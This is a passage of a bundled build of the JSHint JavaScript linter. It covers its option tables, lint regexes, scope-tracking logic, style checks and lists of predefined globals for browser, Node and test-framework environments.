exports.inverted = { bitwise : true, forin : true, newcap : true, plusplus: true, regexp : true, undef : true, eqeqeq : true, strict : true }; exports.validNames = Object.keys(exports.val) .concat(Object.keys(exports.bool.relaxing)) .concat(Object.keys(exports.bool.enforcing)) .concat(Object.keys(exports.bool.obsolete)) .concat(Object.keys(exports.bool.environments)); exports.renamed = { eqeq : "eqeqeq", windows: "wsh", sloppy : "strict" }; exports.removed = { nomen: true, onevar: true, passfail: true, white: true, gcl: true, smarttabs: true, trailing: true }; exports.noenforceall = { varstmt: true, strict: true }; },{}],"/node_modules/jshint/src/reg.js":[function(_dereq_,module,exports){ "use strict"; exports.unsafeString = /@cc|<\/?|script|\]\s*\]|<\s*!|</i; exports.unsafeChars = /[\u0000-\u001f\u007f-\u009f\u00ad\u0600-\u0604\u070f\u17b4\u17b5\u200c-\u200f\u2028-\u202f\u2060-\u206f\ufeff\ufff0-\uffff]/; exports.needEsc = /[\u0000-\u001f&<"\/\\\u007f-\u009f\u00ad\u0600-\u0604\u070f\u17b4\u17b5\u200c-\u200f\u2028-\u202f\u2060-\u206f\ufeff\ufff0-\uffff]/; exports.needEscGlobal = /[\u0000-\u001f&<"\/\\\u007f-\u009f\u00ad\u0600-\u0604\u070f\u17b4\u17b5\u200c-\u200f\u2028-\u202f\u2060-\u206f\ufeff\ufff0-\uffff]/g; exports.starSlash = /\*\//; exports.identifier = /^([a-zA-Z_$][a-zA-Z0-9_$]*)$/; exports.javascriptURL = /^(?:javascript|jscript|ecmascript|vbscript|livescript)\s*:/i; exports.fallsThrough = /^\s*falls?\sthrough\s*$/; exports.maxlenException = /^(?:(?:\/\/|\/\*|\*) ?)?[^ ]+$/; },{}],"/node_modules/jshint/src/scope-manager.js":[function(_dereq_,module,exports){ "use strict"; var _ = _dereq_("../lodash"); var events = _dereq_("events"); var marker = {}; var scopeManager = function(state, predefined, exported, declared) { var _current; var _scopeStack = []; function _newScope(type) { _current = { "(labels)": Object.create(null), "(usages)": Object.create(null), "(breakLabels)": Object.create(null), "(parent)": _current, "(type)": type, "(params)": (type === "functionparams" || type === "catchparams") ? [] : null }; _scopeStack.push(_current); } _newScope("global"); _current["(predefined)"] = predefined; var _currentFunctBody = _current; // this is the block after the params = function var usedPredefinedAndGlobals = Object.create(null); var impliedGlobals = Object.create(null); var unuseds = []; var emitter = new events.EventEmitter(); function warning(code, token) { emitter.emit("warning", { code: code, token: token, data: _.slice(arguments, 2) }); } function error(code, token) { emitter.emit("warning", { code: code, token: token, data: _.slice(arguments, 2) }); } function _setupUsages(labelName) { if (!_current["(usages)"][labelName]) { _current["(usages)"][labelName] = { "(modified)": [], "(reassigned)": [], "(tokens)": [] }; } } var _getUnusedOption = function(unused_opt) { if (unused_opt === undefined) { unused_opt = state.option.unused; } if (unused_opt === true) { unused_opt = "last-param"; } return unused_opt; }; var _warnUnused = function(name, tkn, type, unused_opt) { var line = tkn.line; var chr = tkn.from; var raw_name = tkn.raw_text || name; unused_opt = _getUnusedOption(unused_opt); var warnable_types = { "vars": ["var"], "last-param": ["var", "param"], "strict": ["var", "param", "last-param"] }; if (unused_opt) { if (warnable_types[unused_opt] && warnable_types[unused_opt].indexOf(type) !== -1) { warning("W098", { line: line, from: chr }, raw_name); } } if (unused_opt || type === "var") { unuseds.push({ name: name, line: line, character: chr }); } }; function _checkForUnused() { if (_current["(type)"] === "functionparams") { _checkParams(); return; } var curentLabels = _current["(labels)"]; for (var labelName in curentLabels) { if (curentLabels[labelName]) { if (curentLabels[labelName]["(type)"] !== "exception" && curentLabels[labelName]["(unused)"]) { _warnUnused(labelName, curentLabels[labelName]["(token)"], "var"); } } } } function _checkParams() { var params = _current["(params)"]; if (!params) { return; } var param = params.pop(); var unused_opt; while (param) { var label = _current["(labels)"][param]; unused_opt = _getUnusedOption(state.funct["(unusedOption)"]); if (param === "undefined") return; if (label["(unused)"]) { _warnUnused(param, label["(token)"], "param", state.funct["(unusedOption)"]); } else if (unused_opt === "last-param") { return; } param = params.pop(); } } function _getLabel(labelName) { for (var i = _scopeStack.length - 1 ; i >= 0; --i) { var scopeLabels = _scopeStack[i]["(labels)"]; if (scopeLabels[labelName]) { return scopeLabels; } } } function usedSoFarInCurrentFunction(labelName) { for (var i = _scopeStack.length - 1; i >= 0; i--) { var current = _scopeStack[i]; if (current["(usages)"][labelName]) { return current["(usages)"][labelName]; } if (current === _currentFunctBody) { break; } } return false; } function _checkOuterShadow(labelName, token) { if (state.option.shadow !== "outer") { return; } var isGlobal = _currentFunctBody["(type)"] === "global", isNewFunction = _current["(type)"] === "functionparams"; var outsideCurrentFunction = !isGlobal; for (var i = 0; i < _scopeStack.length; i++) { var stackItem = _scopeStack[i]; if (!isNewFunction && _scopeStack[i + 1] === _currentFunctBody) { outsideCurrentFunction = false; } if (outsideCurrentFunction && stackItem["(labels)"][labelName]) { warning("W123", token, labelName); } if (stackItem["(breakLabels)"][labelName]) { warning("W123", token, labelName); } } } function _latedefWarning(type, labelName, token) { if (state.option.latedef) { if ((state.option.latedef === true && type === "function") || type !== "function") { warning("W003", token, labelName); } } } var scopeManagerInst = { on: function(names, listener) { names.split(" ").forEach(function(name) { emitter.on(name, listener); }); }, isPredefined: function(labelName) { return !this.has(labelName) && _.has(_scopeStack[0]["(predefined)"], labelName); }, stack: function(type) { var previousScope = _current; _newScope(type); if (!type && previousScope["(type)"] === "functionparams") { _current["(isFuncBody)"] = true; _current["(context)"] = _currentFunctBody; _currentFunctBody = _current; } }, unstack: function() { var subScope = _scopeStack.length > 1 ? _scopeStack[_scopeStack.length - 2] : null; var isUnstackingFunctionBody = _current === _currentFunctBody, isUnstackingFunctionParams = _current["(type)"] === "functionparams", isUnstackingFunctionOuter = _current["(type)"] === "functionouter"; var i, j; var currentUsages = _current["(usages)"]; var currentLabels = _current["(labels)"]; var usedLabelNameList = Object.keys(currentUsages); if (currentUsages.__proto__ && usedLabelNameList.indexOf("__proto__") === -1) { usedLabelNameList.push("__proto__"); } for (i = 0; i < usedLabelNameList.length; i++) { var usedLabelName = usedLabelNameList[i]; var usage = currentUsages[usedLabelName]; var usedLabel = currentLabels[usedLabelName]; if (usedLabel) { var usedLabelType = usedLabel["(type)"]; if (usedLabel["(useOutsideOfScope)"] && !state.option.funcscope) { var usedTokens = usage["(tokens)"]; if (usedTokens) { for (j = 0; j < usedTokens.length; j++) { if (usedLabel["(function)"] === usedTokens[j]["(function)"]) { error("W038", usedTokens[j], usedLabelName); } } } } _current["(labels)"][usedLabelName]["(unused)"] = false; if (usedLabelType === "const" && usage["(modified)"]) { for (j = 0; j < usage["(modified)"].length; j++) { error("E013", usage["(modified)"][j], usedLabelName); } } if ((usedLabelType === "function" || usedLabelType === "class") && usage["(reassigned)"]) { for (j = 0; j < usage["(reassigned)"].length; j++) { error("W021", usage["(reassigned)"][j], usedLabelName, usedLabelType); } } continue; } if (isUnstackingFunctionOuter) { state.funct["(isCapturing)"] = true; } if (subScope) { if (!subScope["(usages)"][usedLabelName]) { subScope["(usages)"][usedLabelName] = usage; if (isUnstackingFunctionBody) { subScope["(usages)"][usedLabelName]["(onlyUsedSubFunction)"] = true; } } else { var subScopeUsage = subScope["(usages)"][usedLabelName]; subScopeUsage["(modified)"] = subScopeUsage["(modified)"].concat(usage["(modified)"]); subScopeUsage["(tokens)"] = subScopeUsage["(tokens)"].concat(usage["(tokens)"]); subScopeUsage["(reassigned)"] = subScopeUsage["(reassigned)"].concat(usage["(reassigned)"]); subScopeUsage["(onlyUsedSubFunction)"] = false; } } else { if (typeof _current["(predefined)"][usedLabelName] === "boolean") { delete declared[usedLabelName]; usedPredefinedAndGlobals[usedLabelName] = marker; if (_current["(predefined)"][usedLabelName] === false && usage["(reassigned)"]) { for (j = 0; j < usage["(reassigned)"].length; j++) { warning("W020", usage["(reassigned)"][j]); } } } else { if (usage["(tokens)"]) { for (j = 0; j < usage["(tokens)"].length; j++) { var undefinedToken = usage["(tokens)"][j]; if (!undefinedToken.forgiveUndef) { if (state.option.undef && !undefinedToken.ignoreUndef) { warning("W117", undefinedToken, usedLabelName); } if (impliedGlobals[usedLabelName]) { impliedGlobals[usedLabelName].line.push(undefinedToken.line); } else { impliedGlobals[usedLabelName] = { name: usedLabelName, line: [undefinedToken.line] }; } } } } } } } if (!subScope) { Object.keys(declared) .forEach(function(labelNotUsed) { _warnUnused(labelNotUsed, declared[labelNotUsed], "var"); }); } if (subScope && !isUnstackingFunctionBody && !isUnstackingFunctionParams && !isUnstackingFunctionOuter) { var labelNames = Object.keys(currentLabels); for (i = 0; i < labelNames.length; i++) { var defLabelName = labelNames[i]; if (!currentLabels[defLabelName]["(blockscoped)"] && currentLabels[defLabelName]["(type)"] !== "exception" && !this.funct.has(defLabelName, { excludeCurrent: true })) { subScope["(labels)"][defLabelName] = currentLabels[defLabelName]; if (_currentFunctBody["(type)"] !== "global") { subScope["(labels)"][defLabelName]["(useOutsideOfScope)"] = true; } delete currentLabels[defLabelName]; } } } _checkForUnused(); _scopeStack.pop(); if (isUnstackingFunctionBody) { _currentFunctBody = _scopeStack[_.findLastIndex(_scopeStack, function(scope) { return scope["(isFuncBody)"] || scope["(type)"] === "global"; })]; } _current = subScope; }, addParam: function(labelName, token, type) { type = type || "param"; if (type === "exception") { var previouslyDefinedLabelType = this.funct.labeltype(labelName); if (previouslyDefinedLabelType && previouslyDefinedLabelType !== "exception") { if (!state.option.node) { warning("W002", state.tokens.next, labelName); } } } if (_.has(_current["(labels)"], labelName)) { _current["(labels)"][labelName].duplicated = true; } else { _checkOuterShadow(labelName, token, type); _current["(labels)"][labelName] = { "(type)" : type, "(token)": token, "(unused)": true }; _current["(params)"].push(labelName); } if (_.has(_current["(usages)"], labelName)) { var usage = _current["(usages)"][labelName]; if (usage["(onlyUsedSubFunction)"]) { _latedefWarning(type, labelName, token); } else { warning("E056", token, labelName, type); } } }, validateParams: function() { if (_currentFunctBody["(type)"] === "global") { return; } var isStrict = state.isStrict(); var currentFunctParamScope = _currentFunctBody["(parent)"]; if (!currentFunctParamScope["(params)"]) { return; } currentFunctParamScope["(params)"].forEach(function(labelName) { var label = currentFunctParamScope["(labels)"][labelName]; if (label && label.duplicated) { if (isStrict) { warning("E011", label["(token)"], labelName); } else if (state.option.shadow !== true) { warning("W004", label["(token)"], labelName); } } }); }, getUsedOrDefinedGlobals: function() { var list = Object.keys(usedPredefinedAndGlobals); if (usedPredefinedAndGlobals.__proto__ === marker && list.indexOf("__proto__") === -1) { list.push("__proto__"); } return list; }, getImpliedGlobals: function() { var values = _.values(impliedGlobals); var hasProto = false; if (impliedGlobals.__proto__) { hasProto = values.some(function(value) { return value.name === "__proto__"; }); if (!hasProto) { values.push(impliedGlobals.__proto__); } } return values; }, getUnuseds: function() { return unuseds; }, has: function(labelName) { return Boolean(_getLabel(labelName)); }, labeltype: function(labelName) { var scopeLabels = _getLabel(labelName); if (scopeLabels) { return scopeLabels[labelName]["(type)"]; } return null; }, addExported: function(labelName) { var globalLabels = _scopeStack[0]["(labels)"]; if (_.has(declared, labelName)) { delete declared[labelName]; } else if (_.has(globalLabels, labelName)) { globalLabels[labelName]["(unused)"] = false; } else { for (var i = 1; i < _scopeStack.length; i++) { var scope = _scopeStack[i]; if (!scope["(type)"]) { if (_.has(scope["(labels)"], labelName) && !scope["(labels)"][labelName]["(blockscoped)"]) { scope["(labels)"][labelName]["(unused)"] = false; return; } } else { break; } } exported[labelName] = true; } }, setExported: function(labelName, token) { this.block.use(labelName, token); }, addlabel: function(labelName, opts) { var type = opts.type; var token = opts.token; var isblockscoped = type === "let" || type === "const" || type === "class"; var isexported = (isblockscoped ? _current : _currentFunctBody)["(type)"] === "global" && _.has(exported, labelName); _checkOuterShadow(labelName, token, type); if (isblockscoped) { var declaredInCurrentScope = _current["(labels)"][labelName]; if (!declaredInCurrentScope && _current === _currentFunctBody && _current["(type)"] !== "global") { declaredInCurrentScope = !!_currentFunctBody["(parent)"]["(labels)"][labelName]; } if (!declaredInCurrentScope && _current["(usages)"][labelName]) { var usage = _current["(usages)"][labelName]; if (usage["(onlyUsedSubFunction)"]) { _latedefWarning(type, labelName, token); } else { warning("E056", token, labelName, type); } } if (declaredInCurrentScope) { warning("E011", token, labelName); } else if (state.option.shadow === "outer") { if (scopeManagerInst.funct.has(labelName)) { warning("W004", token, labelName); } } scopeManagerInst.block.add(labelName, type, token, !isexported); } else { var declaredInCurrentFunctionScope = scopeManagerInst.funct.has(labelName); if (!declaredInCurrentFunctionScope && usedSoFarInCurrentFunction(labelName)) { _latedefWarning(type, labelName, token); } if (scopeManagerInst.funct.has(labelName, { onlyBlockscoped: true })) { warning("E011", token, labelName); } else if (state.option.shadow !== true) { if (declaredInCurrentFunctionScope && labelName !== "__proto__") { if (_currentFunctBody["(type)"] !== "global") { warning("W004", token, labelName); } } } scopeManagerInst.funct.add(labelName, type, token, !isexported); if (_currentFunctBody["(type)"] === "global") { usedPredefinedAndGlobals[labelName] = marker; } } }, funct: { labeltype: function(labelName, options) { var onlyBlockscoped = options && options.onlyBlockscoped; var excludeParams = options && options.excludeParams; var currentScopeIndex = _scopeStack.length - (options && options.excludeCurrent ? 2 : 1); for (var i = currentScopeIndex; i >= 0; i--) { var current = _scopeStack[i]; if (current["(labels)"][labelName] && (!onlyBlockscoped || current["(labels)"][labelName]["(blockscoped)"])) { return current["(labels)"][labelName]["(type)"]; } var scopeCheck = excludeParams ? _scopeStack[ i - 1 ] : current; if (scopeCheck && scopeCheck["(type)"] === "functionparams") { return null; } } return null; }, hasBreakLabel: function(labelName) { for (var i = _scopeStack.length - 1; i >= 0; i--) { var current = _scopeStack[i]; if (current["(breakLabels)"][labelName]) { return true; } if (current["(type)"] === "functionparams") { return false; } } return false; }, has: function(labelName, options) { return Boolean(this.labeltype(labelName, options)); }, add: function(labelName, type, tok, unused) { _current["(labels)"][labelName] = { "(type)" : type, "(token)": tok, "(blockscoped)": false, "(function)": _currentFunctBody, "(unused)": unused }; } }, block: { isGlobal: function() { return _current["(type)"] === "global"; }, use: function(labelName, token) { var paramScope = _currentFunctBody["(parent)"]; if (paramScope && paramScope["(labels)"][labelName] && paramScope["(labels)"][labelName]["(type)"] === "param") { if (!scopeManagerInst.funct.has(labelName, { excludeParams: true, onlyBlockscoped: true })) { paramScope["(labels)"][labelName]["(unused)"] = false; } } if (token && (state.ignored.W117 || state.option.undef === false)) { token.ignoreUndef = true; } _setupUsages(labelName); if (token) { token["(function)"] = _currentFunctBody; _current["(usages)"][labelName]["(tokens)"].push(token); } }, reassign: function(labelName, token) { this.modify(labelName, token); _current["(usages)"][labelName]["(reassigned)"].push(token); }, modify: function(labelName, token) { _setupUsages(labelName); _current["(usages)"][labelName]["(modified)"].push(token); }, add: function(labelName, type, tok, unused) { _current["(labels)"][labelName] = { "(type)" : type, "(token)": tok, "(blockscoped)": true, "(unused)": unused }; }, addBreakLabel: function(labelName, opts) { var token = opts.token; if (scopeManagerInst.funct.hasBreakLabel(labelName)) { warning("E011", token, labelName); } else if (state.option.shadow === "outer") { if (scopeManagerInst.funct.has(labelName)) { warning("W004", token, labelName); } else { _checkOuterShadow(labelName, token); } } _current["(breakLabels)"][labelName] = token; } } }; return scopeManagerInst; }; module.exports = scopeManager; },{"../lodash":"/node_modules/jshint/lodash.js","events":"/node_modules/browserify/node_modules/events/events.js"}],"/node_modules/jshint/src/state.js":[function(_dereq_,module,exports){ "use strict"; var NameStack = _dereq_("./name-stack.js"); var state = { syntax: {}, isStrict: function() { return this.directive["use strict"] || this.inClassBody || this.option.module || this.option.strict === "implied"; }, inMoz: function() { return this.option.moz; }, inES6: function() { return this.option.moz || this.option.esversion >= 6; }, inES5: function(strict) { if (strict) { return (!this.option.esversion || this.option.esversion === 5) && !this.option.moz; } return !this.option.esversion || this.option.esversion >= 5 || this.option.moz; }, reset: function() { this.tokens = { prev: null, next: null, curr: null }; this.option = {}; this.funct = null; this.ignored = {}; this.directive = {}; this.jsonMode = false; this.jsonWarnings = []; this.lines = []; this.tab = ""; this.cache = {}; // Node.JS doesn't have Map. Sniff. this.ignoredLines = {}; this.forinifcheckneeded = false; this.nameStack = new NameStack(); this.inClassBody = false; } }; exports.state = state; },{"./name-stack.js":"/node_modules/jshint/src/name-stack.js"}],"/node_modules/jshint/src/style.js":[function(_dereq_,module,exports){ "use strict"; exports.register = function(linter) { linter.on("Identifier", function style_scanProto(data) { if (linter.getOption("proto")) { return; } if (data.name === "__proto__") { linter.warn("W103", { line: data.line, char: data.char, data: [ data.name, "6" ] }); } }); linter.on("Identifier", function style_scanIterator(data) { if (linter.getOption("iterator")) { return; } if (data.name === "__iterator__") { linter.warn("W103", { line: data.line, char: data.char, data: [ data.name ] }); } }); linter.on("Identifier", function style_scanCamelCase(data) { if (!linter.getOption("camelcase")) { return; } if (data.name.replace(/^_+|_+$/g, "").indexOf("_") > -1 && !data.name.match(/^[A-Z0-9_]*$/)) { linter.warn("W106", { line: data.line, char: data.from, data: [ data.name ] }); } }); linter.on("String", function style_scanQuotes(data) { var quotmark = linter.getOption("quotmark"); var code; if (!quotmark) { return; } if (quotmark === "single" && data.quote !== "'") { code = "W109"; } if (quotmark === "double" && data.quote !== "\"") { code = "W108"; } if (quotmark === true) { if (!linter.getCache("quotmark")) { linter.setCache("quotmark", data.quote); } if (linter.getCache("quotmark") !== data.quote) { code = "W110"; } } if (code) { linter.warn(code, { line: data.line, char: data.char, }); } }); linter.on("Number", function style_scanNumbers(data) { if (data.value.charAt(0) === ".") { linter.warn("W008", { line: data.line, char: data.char, data: [ data.value ] }); } if (data.value.substr(data.value.length - 1) === ".") { linter.warn("W047", { line: data.line, char: data.char, data: [ data.value ] }); } if (/^00+/.test(data.value)) { linter.warn("W046", { line: data.line, char: data.char, data: [ data.value ] }); } }); linter.on("String", function style_scanJavaScriptURLs(data) { var re = /^(?:javascript|jscript|ecmascript|vbscript|livescript)\s*:/i; if (linter.getOption("scripturl")) { return; } if (re.test(data.value)) { linter.warn("W107", { line: data.line, char: data.char }); } }); }; },{}],"/node_modules/jshint/src/vars.js":[function(_dereq_,module,exports){ "use strict"; exports.reservedVars = { arguments : false, NaN : false }; exports.ecmaIdentifiers = { 3: { Array : false, Boolean : false, Date : false, decodeURI : false, decodeURIComponent : false, encodeURI : false, encodeURIComponent : false, Error : false, "eval" : false, EvalError : false, Function : false, hasOwnProperty : false, isFinite : false, isNaN : false, Math : false, Number : false, Object : false, parseInt : false, parseFloat : false, RangeError : false, ReferenceError : false, RegExp : false, String : false, SyntaxError : false, TypeError : false, URIError : false }, 5: { JSON : false }, 6: { Map : false, Promise : false, Proxy : false, Reflect : false, Set : false, Symbol : false, WeakMap : false, WeakSet : false } }; exports.browser = { Audio : false, Blob : false, addEventListener : false, applicationCache : false, atob : false, blur : false, btoa : false, cancelAnimationFrame : false, CanvasGradient : false, CanvasPattern : false, CanvasRenderingContext2D: false, CSS : false, clearInterval : false, clearTimeout : false, close : false, closed : false, Comment : false, CustomEvent : false, DOMParser : false, defaultStatus : false, Document : false, document : false, DocumentFragment : false, Element : false, ElementTimeControl : false, Event : false, event : false, fetch : false, FileReader : false, FormData : false, focus : false, frames : false, getComputedStyle : false, HTMLElement : false, HTMLAnchorElement : false, HTMLBaseElement : false, HTMLBlockquoteElement: false, HTMLBodyElement : false, HTMLBRElement : false, HTMLButtonElement : false, HTMLCanvasElement : false, HTMLCollection : false, HTMLDirectoryElement : false, HTMLDivElement : false, HTMLDListElement : false, HTMLFieldSetElement : false, HTMLFontElement : false, HTMLFormElement : false, HTMLFrameElement : false, HTMLFrameSetElement : false, HTMLHeadElement : false, HTMLHeadingElement : false, HTMLHRElement : false, HTMLHtmlElement : false, HTMLIFrameElement : false, HTMLImageElement : false, HTMLInputElement : false, HTMLIsIndexElement : false, HTMLLabelElement : false, HTMLLayerElement : false, HTMLLegendElement : false, HTMLLIElement : false, HTMLLinkElement : false, HTMLMapElement : false, HTMLMenuElement : false, HTMLMetaElement : false, HTMLModElement : false, HTMLObjectElement : false, HTMLOListElement : false, HTMLOptGroupElement : false, HTMLOptionElement : false, HTMLParagraphElement : false, HTMLParamElement : false, HTMLPreElement : false, HTMLQuoteElement : false, HTMLScriptElement : false, HTMLSelectElement : false, HTMLStyleElement : false, HTMLTableCaptionElement: false, HTMLTableCellElement : false, HTMLTableColElement : false, HTMLTableElement : false, HTMLTableRowElement : false, HTMLTableSectionElement: false, HTMLTemplateElement : false, HTMLTextAreaElement : false, HTMLTitleElement : false, HTMLUListElement : false, HTMLVideoElement : false, history : false, Image : false, Intl : false, length : false, localStorage : false, location : false, matchMedia : false, MessageChannel : false, MessageEvent : false, MessagePort : false, MouseEvent : false, moveBy : false, moveTo : false, MutationObserver : false, name : false, Node : false, NodeFilter : false, NodeList : false, Notification : false, navigator : false, onbeforeunload : true, onblur : true, onerror : true, onfocus : true, onload : true, onresize : true, onunload : true, open : false, openDatabase : false, opener : false, Option : false, parent : false, performance : false, print : false, Range : false, requestAnimationFrame : false, removeEventListener : false, resizeBy : false, resizeTo : false, screen : false, scroll : false, scrollBy : false, scrollTo : false, sessionStorage : false, setInterval : false, setTimeout : false, SharedWorker : false, status : false, SVGAElement : false, SVGAltGlyphDefElement: false, SVGAltGlyphElement : false, SVGAltGlyphItemElement: false, SVGAngle : false, SVGAnimateColorElement: false, SVGAnimateElement : false, SVGAnimateMotionElement: false, SVGAnimateTransformElement: false, SVGAnimatedAngle : false, SVGAnimatedBoolean : false, SVGAnimatedEnumeration: false, SVGAnimatedInteger : false, SVGAnimatedLength : false, SVGAnimatedLengthList: false, SVGAnimatedNumber : false, SVGAnimatedNumberList: false, SVGAnimatedPathData : false, SVGAnimatedPoints : false, SVGAnimatedPreserveAspectRatio: false, SVGAnimatedRect : false, SVGAnimatedString : false, SVGAnimatedTransformList: false, SVGAnimationElement : false, SVGCSSRule : false, SVGCircleElement : false, SVGClipPathElement : false, SVGColor : false, SVGColorProfileElement: false, SVGColorProfileRule : false, SVGComponentTransferFunctionElement: false, SVGCursorElement : false, SVGDefsElement : false, SVGDescElement : false, SVGDocument : false, SVGElement : false, SVGElementInstance : false, SVGElementInstanceList: false, SVGEllipseElement : false, SVGExternalResourcesRequired: false, SVGFEBlendElement : false, SVGFEColorMatrixElement: false, SVGFEComponentTransferElement: false, SVGFECompositeElement: false, SVGFEConvolveMatrixElement: false, SVGFEDiffuseLightingElement: false, SVGFEDisplacementMapElement: false, SVGFEDistantLightElement: false, SVGFEFloodElement : false, SVGFEFuncAElement : false, SVGFEFuncBElement : false, SVGFEFuncGElement : false, SVGFEFuncRElement : false, SVGFEGaussianBlurElement: false, SVGFEImageElement : false, SVGFEMergeElement : false, SVGFEMergeNodeElement: false, SVGFEMorphologyElement: false, SVGFEOffsetElement : false, SVGFEPointLightElement: false, SVGFESpecularLightingElement: false, SVGFESpotLightElement: false, SVGFETileElement : false, SVGFETurbulenceElement: false, SVGFilterElement : false, SVGFilterPrimitiveStandardAttributes: false, SVGFitToViewBox : false, SVGFontElement : false, SVGFontFaceElement : false, SVGFontFaceFormatElement: false, SVGFontFaceNameElement: false, SVGFontFaceSrcElement: false, SVGFontFaceUriElement: false, SVGForeignObjectElement: false, SVGGElement : false, SVGGlyphElement : false, SVGGlyphRefElement : false, SVGGradientElement : false, SVGHKernElement : false, SVGICCColor : false, SVGImageElement : false, SVGLangSpace : false, SVGLength : false, SVGLengthList : false, SVGLineElement : false, SVGLinearGradientElement: false, SVGLocatable : false, SVGMPathElement : false, SVGMarkerElement : false, SVGMaskElement : false, SVGMatrix : false, SVGMetadataElement : false, SVGMissingGlyphElement: false, SVGNumber : false, SVGNumberList : false, SVGPaint : false, SVGPathElement : false, SVGPathSeg : false, SVGPathSegArcAbs : false, SVGPathSegArcRel : false, SVGPathSegClosePath : false, SVGPathSegCurvetoCubicAbs: false, SVGPathSegCurvetoCubicRel: false, SVGPathSegCurvetoCubicSmoothAbs: false, SVGPathSegCurvetoCubicSmoothRel: false, SVGPathSegCurvetoQuadraticAbs: false, SVGPathSegCurvetoQuadraticRel: false, SVGPathSegCurvetoQuadraticSmoothAbs: false, SVGPathSegCurvetoQuadraticSmoothRel: false, SVGPathSegLinetoAbs : false, SVGPathSegLinetoHorizontalAbs: false, SVGPathSegLinetoHorizontalRel: false, SVGPathSegLinetoRel : false, SVGPathSegLinetoVerticalAbs: false, SVGPathSegLinetoVerticalRel: false, SVGPathSegList : false, SVGPathSegMovetoAbs : false, SVGPathSegMovetoRel : false, SVGPatternElement : false, SVGPoint : false, SVGPointList : false, SVGPolygonElement : false, SVGPolylineElement : false, SVGPreserveAspectRatio: false, SVGRadialGradientElement: false, SVGRect : false, SVGRectElement : false, SVGRenderingIntent : false, SVGSVGElement : false, SVGScriptElement : false, SVGSetElement : false, SVGStopElement : false, SVGStringList : false, SVGStylable : false, SVGStyleElement : false, SVGSwitchElement : false, SVGSymbolElement : false, SVGTRefElement : false, SVGTSpanElement : false, SVGTests : false, SVGTextContentElement: false, SVGTextElement : false, SVGTextPathElement : false, SVGTextPositioningElement: false, SVGTitleElement : false, SVGTransform : false, SVGTransformList : false, SVGTransformable : false, SVGURIReference : false, SVGUnitTypes : false, SVGUseElement : false, SVGVKernElement : false, SVGViewElement : false, SVGViewSpec : false, SVGZoomAndPan : false, Text : false, TextDecoder : false, TextEncoder : false, TimeEvent : false, top : false, URL : false, WebGLActiveInfo : false, WebGLBuffer : false, WebGLContextEvent : false, WebGLFramebuffer : false, WebGLProgram : false, WebGLRenderbuffer : false, WebGLRenderingContext: false, WebGLShader : false, WebGLShaderPrecisionFormat: false, WebGLTexture : false, WebGLUniformLocation : false, WebSocket : false, window : false, Window : false, Worker : false, XDomainRequest : false, XMLHttpRequest : false, XMLSerializer : false, XPathEvaluator : false, XPathException : false, XPathExpression : false, XPathNamespace : false, XPathNSResolver : false, XPathResult : false }; exports.devel = { alert : false, confirm: false, console: false, Debug : false, opera : false, prompt : false }; exports.worker = { importScripts : true, postMessage : true, self : true, FileReaderSync : true }; exports.nonstandard = { escape : false, unescape: false }; exports.couch = { "require" : false, respond : false, getRow : false, emit : false, send : false, start : false, sum : false, log : false, exports : false, module : false, provides : false }; exports.node = { __filename : false, __dirname : false, GLOBAL : false, global : false, module : false, require : false, Buffer : true, console : true, exports : true, process : true, setTimeout : true, clearTimeout : true, setInterval : true, clearInterval : true, setImmediate : true, // v0.9.1+ clearImmediate: true // v0.9.1+ }; exports.browserify = { __filename : false, __dirname : false, global : false, module : false, require : false, Buffer : true, exports : true, process : true }; exports.phantom = { phantom : true, require : true, WebPage : true, console : true, // in examples, but undocumented exports : true // v1.7+ }; exports.qunit = { asyncTest : false, deepEqual : false, equal : false, expect : false, module : false, notDeepEqual : false, notEqual : false, notPropEqual : false, notStrictEqual : false, ok : false, propEqual : false, QUnit : false, raises : false, start : false, stop : false, strictEqual : false, test : false, "throws" : false }; exports.rhino = { defineClass : false, deserialize : false, gc : false, help : false, importClass : false, importPackage: false, "java" : false, load : false, loadClass : false, Packages : false, print : false, quit : false, readFile : false, readUrl : false, runCommand : false, seal : false, serialize : false, spawn : false, sync : false, toint32 : false, version : false }; exports.shelljs = { target : false, echo : false, exit : false, cd : false, pwd : false, ls : false, find : false, cp : false, rm : false, mv : false, mkdir : false, test : false, cat : false, sed : false, grep : false, which : false, dirs : false, pushd : false, popd : false, env : false, exec : false, chmod : false, config : false, error : false, tempdir : false }; exports.typed = { ArrayBuffer : false, ArrayBufferView : false, DataView : false, Float32Array : false, Float64Array : false, Int16Array : false, Int32Array : false, Int8Array : false, Uint16Array : false, Uint32Array : false, Uint8Array : false, Uint8ClampedArray : false }; exports.wsh = { ActiveXObject : true, Enumerator : true, GetObject : true, ScriptEngine : true, ScriptEngineBuildVersion : true, ScriptEngineMajorVersion : true, ScriptEngineMinorVersion : true, VBArray : true, WSH : true, WScript : true, XDomainRequest : true }; exports.dojo = { dojo : false, dijit : false, dojox : false, define : false, "require": false }; exports.jquery = { "$" : false, jQuery : false }; exports.mootools = { "$" : false, "$$" : false, Asset : false, Browser : false, Chain : false, Class : false, Color : false, Cookie : false, Core : false, Document : false, DomReady : false, DOMEvent : false, DOMReady : false, Drag : false, Element : false, Elements : false, Event : false, Events : false, Fx : false, Group : false, Hash : false, HtmlTable : false, IFrame : false, IframeShim : false, InputValidator: false, instanceOf : false, Keyboard : false, Locale : false, Mask : false, MooTools : false, Native : false, Options : false, OverText : false, Request : false, Scroller : false, Slick : false, Slider : false, Sortables : false, Spinner : false, Swiff : false, Tips : false, Type : false, typeOf : false, URI : false, Window : false }; exports.prototypejs = { "$" : false, "$$" : false, "$A" : false, "$F" : false, "$H" : false, "$R" : false, "$break" : false, "$continue" : false, "$w" : false, Abstract : false, Ajax : false, Class : false, Enumerable : false, Element : false, Event : false, Field : false, Form : false, Hash : false, Insertion : false, ObjectRange : false, PeriodicalExecuter: false, Position : false, Prototype : false, Selector : false, Template : false, Toggle : false, Try : false, Autocompleter : false, Builder : false, Control : false, Draggable : false, Draggables : false, Droppables : false, Effect : false, Sortable : false, SortableObserver : false, Sound : false, Scriptaculous : false }; exports.yui = { YUI : false, Y : false, YUI_config: false }; exports.mocha = { mocha : false, describe : false, xdescribe : false, it : false, xit : false, context : false, xcontext : false, before : false, after : false, beforeEach : false, afterEach : false, suite : false, test : false, setup : false, teardown : false, suiteSetup : false, suiteTeardown : false }; exports.jasmine = { jasmine : false, describe : false, xdescribe : false, it : false, xit : false, beforeEach : false, afterEach : false, setFixtures : false, loadFixtures: false, spyOn : false, expect : false, runs : false, waitsFor : false, waits : false, beforeAll : false, afterAll : false, fail : false, fdescribe : false, fit : false, pending : false }; },{}]},{},["/node_modules/jshint/src/jshint.js"]); }); 